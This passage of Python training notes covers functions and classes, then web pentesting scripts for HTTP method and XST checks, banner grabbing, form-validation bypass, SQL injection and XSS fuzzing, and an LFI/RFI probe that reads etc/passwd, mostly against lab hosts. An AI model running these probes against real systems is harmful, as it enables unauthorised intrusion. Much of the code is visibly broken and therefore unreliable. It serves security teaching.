1498Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
1499
1500How do you write functions in Python?
1501
1502Python makes use of blocks.
1503
1504A block is a area of code of written in the format of:
1505
1506block_head:
1507
1508 1st block line
1509
1510 2nd block line
1511
1512 ...
1513
1514
1515Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
1516
1517Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
1518
1519def my_function():
1520 print("Hello From My Function!")
1521
1522
1523Functions may also receive arguments (variables passed from the caller to the function). For example:
1524
1525def my_function_with_args(username, greeting):
1526 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
1527
1528
1529Functions may return a value to the caller, using the keyword- 'return' . For example:
1530
1531def sum_two_numbers(a, b):
1532 return a + b
1533
1534
1535****************************************
1536* How do you call functions in Python? *
1537****************************************
1538
1539Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
1540
1541# Define our 3 functions
1542---------------------------Paste This-----------------------------------
1543def my_function():
1544 print("Hello From My Function!")
1545----------------------------------------------------------------------
1546
1547
1548---------------------------Paste This-----------------------------------
1549def my_function_with_args(username, greeting):
1550 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
1551----------------------------------------------------------------------
1552
1553
1554---------------------------Paste This-----------------------------------
1555def sum_two_numbers(a, b):
1556 return a + b
1557----------------------------------------------------------------------
1558
1559
1560Let's print(a simple greeting)
1561
1562---------------------------Paste This-----------------------------------
1563my_function()
1564-----------------------------------------------------------------------
1565
1566
1567Prints - "Hello, Joe, From My Function!, I wish you a great year!"
1568---------------------------Paste This-----------------------------------
1569my_function_with_args("Joe", "a great year!")
1570-----------------------------------------------------------------------
1571
1572
1573After this line x will hold the value 3!
1574---------------------------Paste This-----------------------------------
1575x = sum_two_numbers(1,2)
1576x
1577-----------------------------------------------------------------------
1578
1579
1580
1581
1582##########################
1583# Python Lambda Function #
1584##########################
1585
1586
1587Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
1588
1589lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
1590
1591Let’s take an example:
1592
1593Consider a function multiply()
1594
1595def multiply(x, y):
1596 return x * y
1597
1598
1599This function is too small, so let’s convert it into a lambda function.
1600
1601To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
1602
1603---------------------------Type This-----------------------------------
1604
1605>>> r = lambda x, y: x * y
1606>>> r(12,3)
160736
1608-----------------------------------------------------------------------
1609
1610Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
1611
1612You don’t need to assign lambda function to a variable.
1613
1614---------------------------Type This-----------------------------------
1615
1616>>> (lambda x, y: x * y)(3,4)
161712
1618-----------------------------------------------------------------------
1619
1620Note that lambda function can’t contain more than one expression.
1621
1622
1623
1624##################
1625# Python Classes #
1626##################
1627
1628
1629****************
1630* Introduction *
1631****************
1632
1633Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
1634
1635You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
1636
1637
1638***********************
1639* Real World Examples *
1640***********************
1641
1642
1643This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
1644
1645Start off by thinking about a web vuln scanner.
1646
1647What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
1648
1649So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
1650
1651
1652******************
1653* A Python Class *
1654******************
1655
1656
1657Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
1658
1659---------------------------Paste This-----------------------------------
1660
1661class WebVulnScanner(object):
1662 make = 'Acunetix'
1663 model = '10.5'
1664 year = '2014'
1665 version ='Consultant Edition'
1666
1667 profile = 'High Risk'
1668
1669
1670 def crawling(self, speed):
1671 print("Crawling at %s" % speed)
1672
1673
1674 def scanning(self, speed):
1675 print("Scanning at %s" % speed)
1676-----------------------------------------------------------------------
1677
1678
1679Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
1680
1681From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
1682
1683
1684*****************
1685* What is Self? *
1686*****************
1687
1688Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
1689################# Do not do this lab #################
1690---------------------------Type This-----------------------------------
1691
1692print("Your %s is crawling at %s" % (self.model, speed))
1693-----------------------------------------------------------------------
1694################# end of lab that doesn't work #################
1695
1696It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
1697
1698
1699*****************
1700* Using A Class *
1701*****************
1702
1703
1704You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
1705---------------------------Type This-----------------------------------
1706
1707myscanner = WebVulnScanner()
1708-----------------------------------------------------------------------
1709
1710
1711That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
1712
1713Get your scanner object to print out its make and model.
1714---------------------------Type This-----------------------------------
1715
1716print("%s %s" % (myscanner.make, myscanner.model))
1717-----------------------------------------------------------------------
1718
1719The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
1720---------------------------Type This-----------------------------------
1721
1722myscanner.scanning('10req/sec')
1723-----------------------------------------------------------------------
1724
1725What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
1726---------------------------Type This-----------------------------------
1727
1728print("The profile of my scanner settings is %s" % myscanner.profile)
1729myscanner.profile = "default"
1730print("The profile of my scanner settings is %s" % myscanner.profile)
1731-----------------------------------------------------------------------
1732
1733Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
1734---------------------------Type This-----------------------------------
1735
1736mynewscanner = WebVulnScanner()
1737print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
1738-----------------------------------------------------------------------
1739
1740That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
1741
1742
1743#########################################
1744# The self variable in python explained #
1745#########################################
1746
1747So lets start by making a class involving the self variable.
1748
1749A simple class :
1750
1751So here is our class:
1752---------------------------Paste This-----------------------------------
1753
1754class port(object):
1755 open = False
1756 def open_port(self):
1757 if not self.open:
1758 print("port open")
1759
1760-----------------------------------------------------------------------
1761
1762First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
1763
1764Making a Port:
1765
1766Now that we have made a class for a Port, lets actually make a port:
1767---------------------------Type This-----------------------------------
1768
1769x = port()
1770-----------------------------------------------------------------------
1771
1772Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
1773---------------------------Type This-----------------------------------
1774
1775x.open
1776-----------------------------------------------------------------------
1777
1778The above command is same as:
1779---------------------------Type This-----------------------------------
1780
1781port().open
1782-----------------------------------------------------------------------
1783
1784Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
1785---------------------------Type This-----------------------------------
1786
1787>>> x = port()
1788>>> x.open
1789False
1790>>> y = port()
1791>>> y.open = True
1792>>> y.open
1793True
1794>>> x.open
1795False
1796
1797-----------------------------------------------------------------------
1798The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
1799
1800---------------------------Paste This-----------------------------------
1801
1802class port(object):
1803 open = False
1804 def open_port(this):
1805 if not this.open:
1806 print("port open")
1807
1808-----------------------------------------------------------------------
1809
1810
1811
1812
1813
1814
1815 ###############################################################
1816----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
1817 ###############################################################
1818
1819
1820
1821################################
1822# Web App Testing with Python3 #
1823################################
1824
1825################################################
1826# Python Penetration Testing—Application Layer #
1827################################################
1828
1829########################################
1830# Testing availability of HTTP methods #
1831########################################
1832
1833A very good practice for a penetration tester is to start by listing the various available HTTP methods.
1834Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
1835
1836To begin with, we need to import the requests library:
1837
1838---------------------------
1839import requests
1840---------------------------
1841
1842After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
1843
1844----------------------------------------------------------------------------
1845method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
1846----------------------------------------------------------------------------
1847
1848The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
1849
1850------------------------------------------------------
1851for method in method_list:
1852 req = requests.request(method, 'Enter the URL’)
1853 print (method, req.status_code, req.reason)
1854------------------------------------------------------
1855
1856The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
1857
1858-------------------------------------------------------------
1859if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
1860 print ('Cross Site Tracing(XST) is possible')
1861-------------------------------------------------------------
1862
1863
1864*** Full code with example url: ***
1865
1866---------------------------Type This-----------------------------------
1867nano xst.py
1868
1869
1870---------------------------Paste This----------------------------------
1871import requests
1872method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
1873for method in method_list:
1874 req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
1875 print (method, req.status_code, req.reason)
1876if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
1877 print ('Cross Site Tracing(XST) is possible')
1878
1879-------------------------------------------------------------------------
1880
1881
1882After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
1883
1884
1885---------------------------Type This-----------------------------------
1886python3 xst.py
1887-----------------------------------------------------------------------
1888
1889##########################################
1890# Foot printing by checking HTTP headers #
1891##########################################
1892
1893
1894HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
1895
1896To begin with, let us import the requests library:
1897
1898------------------------
1899import requests
1900------------------------
1901
1902We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
1903
1904---------------------------------------------
1905request = requests.get('enter the URL')
1906---------------------------------------------
1907
1908Next, we will generate a list of headers about which you need the information.
1909
1910---------------------------------------------------------------------------------------------------------------
1911header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
1912---------------------------------------------------------------------------------------------------------------
1913
1914Next is a try and except block.
1915
1916---------------------------------------------------
1917for header in header_list:
1918
1919 try:
1920 result = request.headers[header]
1921 print ('%s: %s' % (header, result))
1922 except Exception as err:
1923 print ('%s: No Details Found' % header)
1924
1925---------------------------------------------------
1926
1927
1928
1929
1930*** Example Full Code: ***
1931
1932---------------------------Type This-----------------------------------
1933nano headercheck.py
1934
1935
1936---------------------------Paste This----------------------------------
1937#!/usr/bin/env python3
1938import requests
1939request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
1940header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
1941for header in header_list:
1942 try:
1943 result = request.headers[header]
1944 print ('%s: %s' % (header, result))
1945 except Exception as err:
1946 print ('%s: No Details Found' % header)
1947----------------------------------------------------------------------------------------------------------------
1948
1949
1950After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
1951
1952
1953---------------------------Type This-----------------------------------
1954python3 headercheck.py
1955-----------------------------------------------------------------------
1956
1957
1958##############################################
1959# Testing insecure web server configurations #
1960##############################################
1961
1962We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
1963---------------------------Type This-----------------------------------
1964nano websites.txt
1965
1966---------------------------Paste This----------------------------------
1967https://www.google.com
1968https://www.cnn.com
1969https://foxnews.com
1970-----------------------------------------------------------------------
1971
1972
1973
1974
1975---------------------------Type This-----------------------------------
1976nano insecure_config_check.py
1977
1978
1979---------------------------Paste This----------------------------------
1980#!/usr/bin/eve python3
1981import requests
1982urls = open("websites.txt", "r")
1983for url in urls:
1984 url = url.strip()
1985 req = requests.get(url)
1986 print (url, 'report:')
1987 try:
1988 protection_xss = req.headers['X-XSS-Protection']
1989 if protection_xss != '1; mode=block':
1990 print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
1991 except:
1992 print ('X-XSS-Protection not set, it may be possible')
1993 try:
1994 options_content_type = req.headers['X-Content-Type-Options']
1995 if options_content_type != 'nosniff':
1996 print ('X-Content-Type-Options not set properly:', options_content_type)
1997 except:
1998 print ('X-Content-Type-Options not set')
1999 try:
2000 transport_security = req.headers['Strict-Transport-Security']
2001 except:
2002 print ('HSTS header not set properly, Man in the middle attacks is possible')
2003 try:
2004 content_security = req.headers['Content-Security-Policy']
2005 print ('Content-Security-Policy set:', content_security)
2006 except:
2007 print ('Content-Security-Policy missing')
2008
2009-----------------------------------------------------------------------
2010
2011
2012---------------------------Type This-----------------------------------
2013python3 insecure_config_check.py
2014-----------------------------------------------------------------------
2015
2016
2017#####################################
2018# Footprinting of a Web Application #
2019#####################################
2020
2021Methods for Footprinting of a Web Application
2022
2023
2024Gathering information using parser BeautifulSoup
2025
2026
2027Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
2028
2029To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
2030
2031--------------------------------------
2032apt-get install python3-bs4 <-- This is already installed. You don't have to do this step
2033--------------------------------------
2034
2035---------------------------Type This-----------------------------------
2036$ python3
2037import urllib
2038from bs4 import BeautifulSoup
2039-----------------------------------------------------------------------
2040
2041The Python script given below will gather the title of web page andhyperlinks:
2042
2043Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
2044
2045
2046---------------------------Type This-----------------------------------
2047from urllib.request import urlopen
2048
2049url = 'http://www.python.org'
2050file = urlopen(url)
2051html_page = file.read()
2052-----------------------------------------------------------------------
2053
2054The html_page will be assigned as an input to create soup object.
2055
2056---------------------------Type This-----------------------------------
2057soup_object = BeautifulSoup(html_page)
2058-----------------------------------------------------------------------
2059
2060Following two lines will print the title name with tags and without tags respectively.
2061
2062---------------------------Type This-----------------------------------
2063print(soup_object.title)
2064print(soup_object.title.text)
2065-----------------------------------------------------------------------
2066
2067The line of code shown below will save all the hyperlinks.
2068
2069---------------------------Type This-----------------------------------
2070for link in soup_object.find_all('a'):
2071 print(link.get('href'))
2072-----------------------------------------------------------------------
2073
2074
2075
2076
2077*** Full example code: ***
2078
2079---------------------------Type This-----------------------------------
2080
2081import urllib
2082
2083from bs4 import BeautifulSoup
2084
2085from urllib.request import urlopen
2086
2087url = 'http://www.python.org'
2088file = urlopen(url)
2089html_page = file.read()
2090print(html_page)
2091
2092soup_object= BeautifulSoup(html_page)
2093
2094
2095print(soup_object.title)
2096print(soup_object.title.text)
2097
2098
2099for link in soup_object.find_all('a'):
2100 print(link.get('href'))
2101
2102-----------------------------------------------------------------------
2103
2104
2105###################
2106# Banner grabbing #
2107###################
2108
2109
2110The following Python script helps grab the banner using socket programming:
2111
2112------------------------------------------------------------------------------
2113import socket
2114
2115s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
2116
2117host = input("Enter the host name: ")
2118port = int(input("Enter Port: "))
2119
2120
2121# host = '192.168.1.54'
2122# port = 22
2123
2124s.connect((host, port))
2125
2126try:
2127 s.send(b'GET HTTP/1.1 \r\n')
2128 ret = s.recv(1024)
2129 print('[+]{}'.format(ret))
2130except Exception as e:
2131 print('[-] Not information grabbed: {}'.format(e))
2132-------------------------------------------------------------------------------
2133
2134After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
2135
2136
2137###################################################
2138# Server-side Validation & Client-side Validation #
2139###################################################
2140
2141
2142#######################################
2143# Python Module for Validation Bypass #
2144#######################################
2145
2146
2147The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
2148
2149---------------------------------
2150pip3 install mechanize <-- This is already installed. You don't have to do this step
2151---------------------------------
2152
2153
2154
2155Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
2156
2157To begin with, let us import the mechanize browser:
2158
2159
2160----------------------
2161import mechanize
2162----------------------
2163
2164Now, we will create an object named brwsr of the mechanize browser:
2165
2166-----------------------------
2167brwsr = mechanize.Browser()
2168-----------------------------
2169
2170The next line of code shows that the user agent is not a robot
2171
2172--------------------------------
2173brwsr.set_handle_robots( False )
2174--------------------------------
2175
2176Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
2177
2178-----------------------------
2179url = input("Enter URL ")
2180-----------------------------
2181
2182Now, following lines will set some parenters to true.
2183
2184-----------------------------------
2185brwsr.set_handle_equiv(True)
2186brwsr.set_handle_gzip(True)
2187brwsr.set_handle_redirect(True)
2188brwsr.set_handle_referer(True)
2189----------------------------------
2190
2191
2192Next it will open the web page and print the web form on that page.
2193
2194-----------------------------
2195brwsr.open(url)
2196for form in brwsr.forms():
2197 print(form)
2198-----------------------------
2199
2200Next line of codes will bypass the validations on the given fields.
2201
2202------------------------------------
2203brwsr.select_form(nr=0)
2204brwsr.form['name'] = ''
2205brwsr.form['gender'] = ''
2206brwsr.submit()
2207------------------------------------
2208
2209The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
2210
2211
2212################################################
2213# Python Penetration Testing — SQLi Web Attack #
2214################################################
2215
2216
2217
2218The attack can be categorize into the following two types:
2219
2220- In-band SQL injection (Simple SQLi)
2221- Inferential SQL injection (Blind SQLi)
2222
2223
2224All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
2225
2226
2227The following Python script helps submit forms and analyze the response using mechanize:
2228
2229
2230First of all we need to import the mechanize module.
2231
2232-----------------------
2233import mechanize
2234-----------------------
2235
2236Now, provide the name of the URL for obtaining the response after submitting the form.
2237
2238-------------------------------------
2239url = input("Enter the full url")
2240-------------------------------------
2241
2242The following line of codes will open the url.
2243
2244-----------------------------------
2245request = mechanize.Browser()
2246request.open(url)
2247-----------------------------------
2248
2249Now, we need to select the form.
2250
2251---------------------------------
2252request.select_form(nr=0)
2253---------------------------------
2254
2255Here,we will setthe column name ‘id’.
2256
2257---------------------------------
2258request["id"] = "1 OR 1=1"
2259---------------------------------
2260
2261Now, we need to submit the form
2262
2263---------------------------------
2264response = request.submit()
2265content = response.read()
2266print(content)
2267--------------------------------
2268
2269The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
2270
2271To begin with, let us import the mechanize module.
2272
2273---------------------------
2274import mechanize
2275---------------------------
2276
2277Now, provide the name of the URL for obtaining the response after submitting the form.
2278
2279---------------------------------
2280url = input("Enter the full url")
2281 attack_no = 1
2282---------------------------------
2283
2284
2285We need to read the attack vectors from the file
2286
2287-------------------------------------
2288with open ('vectors.txt') as v:
2289-------------------------------------
2290
2291Now we will send request with each arrack vector
2292
2293-------------------------------
2294for line in v:
2295 browser.open(url)
2296browser.select_form(nr=0)
2297 browser["id"] = line
2298 res = browser.submit()
2299content = res.read()
2300------------------------------
2301
2302
2303Now, the following line of code will write the response to the output file.
2304
2305-----------------------------------------------------
2306output = open('response/'+str(attack_no)+'.txt','w')
2307output.write(content)
2308output.close()
2309print attack_no
2310attack_no += 1
2311-----------------------------------------------------
2312
2313
2314By checking and analyzing the responses, we can identify the possible attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
2315
2316
2317###############################################
2318# Python Penetration Testing — XSS Web Attack #
2319###############################################
2320
2321
2322Types of XSS Attack
2323
2324
2325The attack can be classified into the following major categories:
2326
2327-Persistent or stored XSS
2328-Non-persistent or reflected XSS
2329
2330
2331
2332Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
2333
2334To begin with, let us import the mechanize module.
2335
2336------------------------
2337import mechanize
2338-----------------------
2339
2340
2341Now, provide the name of the URL for obtaining the response after submitting the form.
2342
2343----------------------------------
2344url = input("Enter the full url")
2345 attack_no = 1
2346----------------------------------
2347
2348We need to read the attack vectors from the file.
2349
2350---------------------------------------
2351with open ('vectors_XSS.txt') as x:
2352--------------------------------------
2353
2354Now we will send request with each arrack vector
2355
2356-------------------------
2357for line in x:
2358 browser.open(url)
2359browser.select_form(nr=0)
2360 browser["id"] = line
2361 res = browser.submit()
2362content = res.read()
2363
2364------------------------
2365
2366The following line of code will check the printed attack vector.
2367
2368-----------------------------
2369if content.find(line) > 0:
2370 print("Possible XSS")
2371
2372-----------------------------
2373
2374The following line of code will write the response to output file.
2375
2376
2377-----------------------------------------------------------
2378output = open('response/'+str(attack_no)+'.txt','w')
2379output.write(content)
2380output.close()
2381print attack_no
2382attack_no += 1
2383----------------------------------------------------------
2384
2385
2386*** Full example code: ***
2387
2388------------------------------------------------------------------
2389import mechanize
2390
2391url = input("Enter the full url")
2392attack_no = 1
2393
2394with open ('vectors_XSS.txt') as x:
2395 for line in x:
2396 browser.open(url)
2397 browser.select_form(nr=0)
2398 browser["id"] = line
2399 res = browser.submit()
2400 content = res.read()
2401
2402 if content.find(line) > 0:
2403 print("Possible XSS")
2404
2405 output = open('response/'+str(attack_no)+'.txt','w')
2406 output.write(content)
2407 output.close()
2408 print attack_no
2409 attack_no += 1
2410-----------------------------------------------------------------
2411
2412XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation,there is a high possibility of XSS attack.
2413
2414
2415---------------------------Type This-----------------------------------
2416nano bannergrab.py
2417
2418
2419---------------------------Paste This----------------------------------
2420
2421#!/usr/bin/env python3
2422import sys
2423import socket
2424
2425# Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
2426
2427s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2428s.connect(("45.63.104.73", 80))
2429s.send(("GET / HTTP/1.1\r\n\r\n").encode())
2430
2431#Convert response to bytes
2432response = b""
2433# or use encode()
2434#response = "".encode()
2435
2436while True:
2437 data = s.recv(4096)
2438 response += data
2439 if not data:
2440 break
2441s.close()
2442print(response.decode())
2443----------------------------------------------------------------------
2444
2445
2446---------------------------Type This-----------------------------------
2447python3 bannergrab.py
2448-----------------------------------------------------------------------
2449
2450
2451
2452
2453
2454################# Do not do this lab #################
2455---------------------------Type This-----------------------------------
2456nano titlegrab.py
2457
2458
2459---------------------------Paste This----------------------------------
2460#!/usr/bin/env python3
2461import requests
2462from bs4 import BeautifulSoup
2463
2464def main():
2465 print("\nPage URL and Title")
2466 print("-----------------------------------------------------------------")
2467
2468 urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
2469
2470 for url in urls:
2471 r = requests.get(url)
2472 soup = BeautifulSoup(r.text, 'html.parser')
2473
2474 print(url + " = " + soup.title.string)
2475
2476if __name__ == "__main__":
2477 main()
2478----------------------------------------------------------------------
2479################# end of lab that doesn't work #################
2480
2481
2482---------------------------Type This-----------------------------------
2483nano LFI-RFI.py
2484
2485
2486---------------------------Paste This----------------------------------
2487
2488#!/usr/bin/env python3
2489print("\n### PHP LFI/RFI Detector ###")
2490
2491import urllib.request, urllib.error, urllib.parse,re,sys
2492
2493TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
2494RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
2495TravLimit = 12
2496
2497print("==> Testing for LFI vulns..")
2498TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
2499for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
2500 TARGET += "../"
2501 try:
2502 source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
2503 except urllib.error.URLError as e:
2504 print("$$$ We had an Error:",e)
2505 sys.exit(0)
2506 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
2507 print("!! ==> LFI Found:",TARGET+"etc/passwd")
2508 break ## BREAK LOOP WHEN VULN FOUND
2509
2510print("\n==> Testing for RFI vulns..")
2511TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
2512try:
2513 source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
2514except urllib.error.URLError as e:
2515 print("$$$ We had an Error:",e)
2516 sys.exit(0)
2517if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
2518 print("!! => RFI Found:",TARGET)
2519
2520print("\nScan Complete\n") ## DONE
2521----------------------------------------------------------------------
2522
2523
2524
2525
2526---------------------------Type This-----------------------------------
2527python3 LFI-RFI.py
2528-----------------------------------------------------------------------
2529
2530
2531
2532
2533
2534----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2535
2536################################################
2537# Python Penetration Testing—Application Layer #
2538################################################
2539
2540########################################
2541# Testing availability of HTTP methods #
2542########################################
2543
2544A very good practice for a penetration tester is to start by listing the various available HTTP methods.
2545Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
2546
2547To begin with, we need to import the requests library:
2548
2549---------------------------
2550import requests
2551---------------------------
2552
2553After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
2554
2555----------------------------------------------------------------------------
2556method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
2557----------------------------------------------------------------------------
2558
2559The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
2560
2561------------------------------------------------------
2562for method in method_list:
2563 req = requests.request(method, 'Enter the URL’)
2564 print (method, req.status_code, req.reason)
2565------------------------------------------------------
2566
2567The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
2568
2569-------------------------------------------------------------
2570if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
2571 print ('Cross Site Tracing(XST) is possible')
2572-------------------------------------------------------------
2573
2574
2575*** Full code with example url: ***
2576
2577---------------------------Type This-----------------------------------
2578nano xst.py
2579
2580
2581---------------------------Paste This----------------------------------
2582import requests
2583method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
2584for method in method_list:
2585 req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
2586 print (method, req.status_code, req.reason)
2587if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
2588 print ('Cross Site Tracing(XST) is possible')
2589
2590-------------------------------------------------------------------------
2591
2592
